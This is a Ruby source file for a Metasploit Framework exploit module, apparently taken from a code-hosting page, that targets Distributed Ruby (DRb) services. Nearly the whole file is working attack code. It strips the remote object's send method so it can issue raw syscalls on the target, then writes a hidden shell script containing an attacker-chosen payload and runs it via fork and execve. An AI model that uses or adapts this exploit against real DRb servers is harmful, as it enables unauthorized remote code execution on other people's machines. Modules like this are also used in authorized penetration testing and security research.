71 lines
1.7 KiB
Ruby
71 lines
1.7 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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require 'drb/drb'
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class Metasploit3 < Msf::Exploit::Remote
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Distributed Ruby Send Syscall Code Execution',
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'Description' => %q{ This module exploits remote syscalls in DRuby
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},
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'Author' => [ 'joernchen <joernchen@phenoelit.de> (Phenoelit)' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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],
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'Privileged' => false,
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'Payload' =>
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{
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'DisableNops' => true,
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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},
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'Space' => 32768,
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},
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'Platform' => 'linux',
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'Arch' => ARCH_ALL,
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'Targets' => [[ 'Automatic', { }]],
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('URI', [true, "The druby URI of the target host ", ""]),
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], self.class)
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end
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def exploit
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serveruri = datastore['URI']
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DRb.start_service
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p = DRbObject.new_with_uri(serveruri)
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class << p
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undef :send
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end
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filename = "." + Rex::Text.rand_text_alphanumeric(16)
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# syscall open
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i = p.send(:syscall,8,filename,0700)
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#syscall write
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p.send(:syscall,4,i,"#!/bin/sh\n" << payload.encoded,payload.encoded.length + 10)
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#syscall close
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p.send(:syscall,6,i)
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#syscall fork
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p.send(:syscall,2)
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#syscall execve
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p.send(:syscall,11,filename,0,0)
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handler(nil)
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end
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end
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